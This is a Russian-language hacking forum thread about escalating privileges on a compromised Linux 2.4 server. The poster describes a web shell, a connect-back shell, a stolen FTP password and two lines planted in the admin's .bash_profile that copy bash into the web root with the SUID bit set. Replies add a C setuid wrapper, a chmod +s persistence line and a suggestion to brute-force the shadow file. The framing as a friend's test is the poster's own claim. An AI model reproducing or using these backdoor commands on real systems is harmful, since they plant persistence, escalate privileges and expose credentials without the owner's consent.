Вообщем, проблема такая. Знакомый админ попросил протестировать его сервак на уязвимости. Мне удалось установить веб-шел и запустить Connect Back. При этом мои права были: uid=48(apache) gid=48(apache) groups=48(apache) На серваке крутился Linux 2.4.21-47.0.1.ELsmp Эксплоиты к ядру и сервисам не подошли. Однако мне удалось получить пароль к FTP аккаунту админа (логин dima). Возможности запустить файлы из домашней директории /home/dima не было, так как права на эту директорию были выставлены: drwx------ 40 dima dima 4096 Jun 17 13:58 dima Но мне повезло, админ юзал bash. Я вставил две строки в .bash_profile: cp /bin/bash /usr/local/apache/htdocs/temp/sh > /dev/null 2>&1 chmod 4777 /usr/local/apache/htdocs/temp/sh > /dev/null 2>&1 Это сработало - при следующем входе админа в систему я поимел копию bash с установленным битом SUID: -rwsrwxrwx 1 dima dima 585908 Jun 17 13:46 /usr/local/apache/htdocs/temp/sh А вот после меня ждал облом - суидный bach ни в какую не хотел запускаться с правами dima. Запустив его через Connect Back, я не мог попасть в домашнюю директорию пользователя (админа) dima. А просмотрев запущенные процессы (через ps -aux), обнаружил, что суидный bach, был почему-то запущен от пользователя apache. В чем трабл? Для полноты инофрмации: - на директорию /usr/local/apache/htdocs/temp установлены права: drwxrwxrwx 2 root root 4096 Jun 17 22:49 - в /etc/shadow (я его просмотрел через резервную копию каталога /etc, оставленную по ошибке админом в /tmp) запись для пользователя apache выглядит так: apache:!!:12870:0:99999:7::: То есть учетка была заблокирована (может в этом дело?) - доступ к telnet и ssh отсутствует.
так должно сработать (если бы был uid 0): Code: #include<stdio.h> int main(){ setuid(тут_uid_dima); setgid(тут_gid_dima); system("bash"); return 0; } собираем и добавляем в .bash_profile: chmod +s /path_to_shell/shell > /dev/null 2>&1 добавлено позже: гм, похоже, этот способ не подойдет. когда uid отличен от 0, тоже ничего не получилось. остается только в .bash_profile написать интересующие команды и перенаправть вывод в файл. брут shadow что-нть дал?
имхо у каждого процесса есть реальный uid и эффективный: когда ты запускаешь файл с установленным suid, его реальный uid становится равным пользователю запустившем его, а эффективный uid владельца. так как владелец является суперпользователем ты имеешь право сделать в своем бекконнект шелле setuid(dima_id), что сменит реальный uid на админовский. однако странно, что ps -aux показал имя apache, потому что эффективный id должен был быть dima'овским...